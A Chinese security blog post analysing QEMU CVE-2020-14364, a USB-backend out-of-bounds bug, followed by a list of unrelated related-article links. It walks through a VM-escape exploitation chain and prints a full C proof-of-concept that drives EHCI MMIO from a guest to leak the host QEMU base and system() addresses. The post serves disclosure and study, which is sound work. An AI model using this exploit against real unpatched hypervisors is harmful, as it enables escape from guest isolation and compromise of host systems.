聚焦源代码安全,网罗国内外最新资讯!

作者:奇安信代码安全实验室研究员张子明(@Ezrak1e)

奇安信代码安全实验室研究员为Red Hat发现六个漏洞(CVE-2020-14364、CVE-2020-10756、CVE-2020-12829、CVE-2020-14415、CVE-2020-15863和CVE-2020-16092),其中 CVE-2020-14364 被评为具有“重要影响”。研究员第一时间向 Red Hat报告且协助其修复漏洞。本文分析的是 CVE-2020-14364,希望给大家带来一些启发。

01

漏洞分析

QEMU(quick emulator)是一款由Fabrice Bellard等人编写的免费的可执行硬件虚拟化开源托管虚拟机(VMM)。

QEMU的USB后端在实现USB控制器与USB设备通信时存在越界读写漏洞可能导致虚拟机逃逸。

02

漏洞成因

USB总线通过创建一个 USBpacket 对象来和USB设备通信。

Usbpacket对象中包含以下关键内容。

struct USBPacket {

/* Data fields for use by the driver.  */

int pid;

uint64_t id;

USBEndpoint *ep;

....

};

其中pid表明packet的类型,存在三种类型in、out、setup, ep指向endpoint对象,通过此结构定位目标usb设备。

数据交换为usbdevice中缓冲区的data_buf与usbpacket对象中使用usb_packet_map申请的缓冲区两者间通过usb_packet_copy函数实现,为了防止两者缓冲区长度不匹配,传送的长度由s->setup_len限制。

case SETUP_STATE_DATA:

if (s->setup_buf[0] & USB_DIR_IN) {

int len = s->setup_len - s->setup_index;

if (len > p->iov.size) {

len = p->iov.size;

}

usb_packet_copy(p, s->data_buf + s->setup_index, len);

s->setup_index += len;

if (s->setup_index >= s->setup_len) {

s->setup_state = SETUP_STATE_ACK;

}

return;

}

漏洞存在于s->setup_len赋值的过程do_token_setup中。

s->setup_len   = (s->setup_buf[7] << 8) | s->setup_buf[6];

if (s->setup_len > sizeof(s->data_buf)) {

fprintf(stderr,

"usb_generic_handle_packet: ctrl buffer too small (%d > %zu)\n",

s->setup_len, sizeof(s->data_buf));

p->status = USB_RET_STALL;

return;

}

虽然进行了校验,但是由于在校验前,s->setup_len的值已经被设置导致之后的do_token_in或者do_token_out中使用usb_packet_copy时会产生越界读写漏洞。

03

漏洞利用

1、泄露USBdevice对象的地址。

观察越界可读内容发现:

struct USBDevice {

...

uint8_t setup_buf[8];

uint8_t data_buf[4096];

int32_t remote_wakeup;

int32_t setup_state;

int32_t setup_len;

int32_t setup_index;

USBEndpoint ep_ctl;

USBEndpoint ep_in[USB_MAX_ENDPOINTS];

USBEndpoint ep_out[USB_MAX_ENDPOINTS];

QLIST_HEAD(, USBDescString) strings;

const USBDesc *usb_desc; /* Overrides class usb_desc if not NULL */

const USBDescDevice *device;

...};

可以从下方的ep_ctl->dev获取到usbdevice的对象地址。

2、通过usbdevice的对象地址我们可以得到s->data_buf的位置,之后只需要覆盖下方的setup_index为目标地址-(s->data_buf)即可实现任意地址写。

3、我们还需要获取任何地址读取功能,setup_buf [0]控制写入方向,并且只能由do_token_setup进行修改。 由于我们在第二步中使用了越界写入功能,因此setup_buf [0]是写入方向,因此只可以进行写入操作,无法读取。

绕过方法:设置setup_index = 0xfffffff8,再次越界,修改setup_buf [0]的值,然后再次将setup_index修改为要读取的地址,以实现任意地址读取。

4、通过任意地址读取usbdevice对象的内容以获取ehcistate对象地址,再次使用任意地址读取ehcistate对象的内容以获取ehci_bus_ops_companion地址。 该地址位于程序data节区。 这时,我们可以获得程序的加载地址和system @ plt地址。也可以通过读取usbdevice固定偏移位置后的usb-tablet对象来获得加载地址。

5、在data_buf中伪造irq结构。

6、以伪造结构劫持ehcistate中的irq对象。

7、通过mmio读取寄存器以触发ehci_update_irq,执行system ("xcalc")。 完成利用。

04

漏洞Poc代码

#include <assert.h>

#include <fcntl.h>

#include <inttypes.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

#include <sys/types.h>

#include <unistd.h>

#include <sys/io.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <errno.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <stdbool.h>

#include <netinet/in.h>

unsigned char* mmio_mem;

char *dmabuf;

struct ohci_hcca * hcca;

struct EHCIqtd * qtd;

struct ohci_ed * ed;

struct ohci_td * td;

char *setup_buf;

uint32_t *dmabuf32;

char *td_addr;

struct EHCIqh * qh;

struct ohci_td * td_1;

char *dmabuf_phys_addr;

typedef struct USBDevice USBDevice;

typedef struct USBEndpoint USBEndpoint;

struct USBEndpoint {

uint8_t nr;

uint8_t pid;

uint8_t type;

uint8_t ifnum;

int max_packet_size;

int max_streams;

bool pipeline;

bool halted;

USBDevice *dev;

USBEndpoint *fd;

USBEndpoint *bk;

};

struct USBDevice {

int32_t remote_wakeup;

int32_t setup_state;

int32_t setup_len;

int32_t setup_index;

USBEndpoint ep_ctl;

USBEndpoint ep_in[15];

USBEndpoint ep_out[15];

};

typedef struct EHCIqh {

uint32_t next;                    /* Standard next linkpointer */

/* endpoint characteristics */

uint32_t epchar;

/* endpoint capabilities */

uint32_t epcap;

uint32_t current_qtd;             /* Standard next link pointer */

uint32_t next_qtd;                /* Standard next link pointer*/

uint32_t altnext_qtd;

uint32_t token;                   /* Same as QTD token */

uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqh;

typedef struct EHCIqtd {

uint32_t next;                    /* Standard next linkpointer */

uint32_t altnext;                 /* Standard next link pointer*/

uint32_t token;

uint32_t bufptr[5];               /* Standard buffer pointer */

} EHCIqtd;

uint64_t virt2phys(void* p)

{

uint64_t virt = (uint64_t)p;

// Assert page alignment

int fd =open("/proc/self/pagemap", O_RDONLY);

if (fd == -1)

die("open");

uint64_t offset = (virt /0x1000) * 8;

lseek(fd, offset, SEEK_SET);

uint64_t phys;

if (read(fd, &phys, 8 ) !=8)

die("read");

// Assert page present

phys = (phys & ((1ULL<< 54) - 1)) * 0x1000+(virt&0xfff);

return phys;

}

void die(const char* msg)

{

perror(msg);

exit(-1);

}

void mmio_write(uint32_t addr, uint32_t value)

{

*((uint32_t*)(mmio_mem + addr))= value;

}

uint64_t mmio_read(uint32_t addr)

{

return *((uint64_t*)(mmio_mem +addr));

}

void init(){

int mmio_fd =open("/sys/devices/pci0000:00/0000:00:05.7/resource0", O_RDWR |O_SYNC);

if (mmio_fd == -1)

die("mmio_fd openfailed");

mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd,0);

if (mmio_mem == MAP_FAILED)

die("mmap mmio_memfailed");

dmabuf = mmap(0, 0x3000, PROT_READ | PROT_WRITE, MAP_SHARED |MAP_ANONYMOUS, -1, 0);

if (dmabuf == MAP_FAILED)

die("mmap");

mlock(dmabuf, 0x3000);

hcca=dmabuf;

dmabuf32=dmabuf+4;

qtd=dmabuf+0x200;

qh=dmabuf+0x100;

setup_buf=dmabuf+0x300;

}

void init_state(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

struct EHCIqtd * qtd;

qtd=dmabuf+0x200;

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

setup_buf[6]=0xff;

setup_buf[7]=0x0;

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void set_length(uint16_t len,uint8_t in){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

setup_buf[0]=in;

setup_buf[6]=len&0xff;

setup_buf[7]=(len>>8)&0xff;

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 2<<8 | 8<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x300);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

void do_copy_read(){

mmio_write(0x64,0x100);

mmio_write(0x64,0x4);

qh->epchar=0x00;

qh->token=1<<7;

qh->current_qtd=virt2phys(dmabuf+0x200);

qtd->token=1<<7 | 1<<8 | 0x1f00<<16;

qtd->bufptr[0]=virt2phys(dmabuf+0x1000);

qtd->bufptr[1]=virt2phys(dmabuf+0x2000);

dmabuf32[0]=virt2phys(dmabuf+0x100)+0x2;

mmio_write(0x28,0x0);

mmio_write(0x30,0x0);

mmio_write(0x38,virt2phys(dmabuf));

mmio_write(0x34,virt2phys(dmabuf));

mmio_write(0x20,0x11);

}

int main()

{

init();

iopl(3);

outw(0,0xc0c0);

outw(0,0xc0e0);

outw(0,0xc010);

outw(0,0xc0a0);

sleep(3);

init_state();

sleep(2);

set_length(0x2000,0x80);

sleep(2);

do_copy_read();

sleep(2);

struct USBDevice* usb_device_tmp=dmabuf+0x2004;

struct USBDevice usb_device;

memcpy(&usb_device,usb_device_tmp,sizeof(USBDevice));

uint64_t dev_addr=usb_device.ep_ctl.dev;

uint64_t *tmp=dmabuf+0x24f4;

long long base=*tmp;

if(base == 0){

printf("INIT DOWN,DO IT AGAIN");

return 0;

}

base-=0xee5480-0x2668c0;

uint64_t system=base+0x2d9610;

puts("\\\\\\\\\\\\\\\\\\\\\\\\");

printf("LEAK BASE ADDRESS:%llx!\n",base);

printf("LEAK SYSTEM ADDRESS:%llx!\n",system);

puts("\\\\\\\\\\\\\\\\\\\\\\\\");

}

05

PoC演示视频

推荐阅读

奇安信代码安全实验室帮助Red Hat修复多个QEMU高危漏洞,获官方致谢

题图:Pixabay License

转载请注明“转自奇安信代码卫士 www.codesafe.cn”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 吧~

QEMU CVE-2020-14364 漏洞分析(含 PoC 演示)相关推荐

  1. MS15-035 EMF文件处理漏洞分析与POC构造

    cssembly · 2015/04/21 9:58 MS15-035是Microsoft Graphics 组件处理增强型图元文件 (EMF) 的漏洞,可能允许远程执行代码. 通过补丁比对,可以看到 ...

  2. Win95+IE3 – Win10+IE11全版本执行漏洞(含POC)

    微软本月安全更新修复了一个潜藏了18年的IE远程代码执行漏洞(CVE-2014-6332),可以说是给windows吃了一颗大补丸.缺陷出现在VBScript的代码中,自Windows 95首次发布( ...

  3. CVE-2012-1876 Internet Exporter堆溢出漏洞分析

    文章目录 漏洞描述 IE浏览器组件介绍 分析环境 POC 漏洞分析 漏洞利用 参考资料 漏洞描述 该IE浏览器漏洞的成因在mshtml.dll这个模块的CTableLayout::CalculateM ...

  4. CVE-2017-11882漏洞分析

    文章目录 分析环境 漏洞描述 漏洞成因 漏洞分析 获取poc 复现漏洞 漏洞分析 定位漏洞模块 定位漏洞函数 定位漏洞触发点 解决方案 分析环境 环境 W7 x64 Office2013 工具 win ...

  5. CVE-2012-1876漏洞分析

    0.POC文件 1 <html> 2 <body> 3 <table style="table-layout:fixed" > 4 <co ...

  6. 阿里旺旺ActiveX控件ImageMan溢出 漏洞分析

    用ComRaider模糊测试 针对ActiveX控件的漏洞分析方法 poc <html><body><object classid="clsid:128D0E3 ...

  7. 2022CTF培训(十一)IOT 相关 CVE 漏洞分析

    附件下载链接 D-Link DIR-823G 固件全系统仿真 2022CTF培训(十)IOT 相关 CVE 漏洞分析 是采用 qemu-user 对个别程序进行仿真,而对于完整的仿真需要使用 qemu ...

  8. 2022CTF培训(十三)虚拟化QEMU架构分析QEMU CVE示例分析

    附件下载链接 虚拟化技术基本概念 硬件虚拟化 全虚拟化 提供可以完全模拟基础硬件的VME 可以在VM中运行任何能够在物理硬件上执行的软件,并且可以在每个单独的VM中运行基础硬件支持的任何OS 为每个V ...

  9. php mail执行命令,PHPMailer 命令执行 任意文件读取漏洞利用 【含POC】

    PHPMailer 命令执行漏洞(CVE-2016-10033) 漏洞编号:CVE-2016-10033 影响版本:PHPMailer< 5.2.18 漏洞级别: 高危 漏洞POC: PHPMa ...

最新文章

  1. Maven+Struts2+MyBatis+Spring搭建教程
  2. 什么是关键字驱动框架(自动化测试)
  3. 用撸Arduino的方法撸STM32F103xx
  4. MongoDB 教程三: 高级查询 (SQL到MongoDB映射表)
  5. 荣耀v10玩flash游戏_“王者荣耀”游戏竟然还能这样玩?(送皮肤)
  6. 还在用Postman?来,花2分钟体验下ApiPost的魅力!
  7. 记录一次Centos磁盘空间占满的解决办法(转)
  8. 几款好用的滤波器设计软件
  9. python基本语法总结(超级全面,细致,只用一周就可以入门python到实践),会持续更新
  10. 计算机系统的今后应用,计算机系统毕业论文范本(2)
  11. 用这几款软件轻松自动识别图片文字,快码住
  12. STAR、SMART、6W1H、PDCA原则
  13. 你为什么要去做微商?
  14. 扎实的PHP编程基础,PHP的一些基础编程题
  15. 装机注意事项:一次装机差点翻车的经历
  16. stm32 ADXL345传感器
  17. mysql分组并查询最新记录信息(亲测有效)
  18. 【项目三、车牌检测+识别项目】四、使用LPRNet进行车牌识别
  19. 海康威视摄像机的实时读取篇一(OpenCV开发环境配置)
  20. 错误 1error LNK1207 PDB 格式不兼容;请删除并重新生成

热门文章

  1. error C2065: 'assert' : undeclared identifier
  2. Zabbix 神器——自动发现
  3. 分享Silverlight/WPF/Windows Phone一周学习导读(4月11日-4月15日)
  4. 面向对象-day02
  5. 视频信息查看,帧信息查看
  6. Linux也使用多线程下载
  7. Python协程深入理解
  8. 多线程面试体系列(13):多线程同步内功心法——PV操作下
  9. Android-Splash
  10. Myeclipse 操作技巧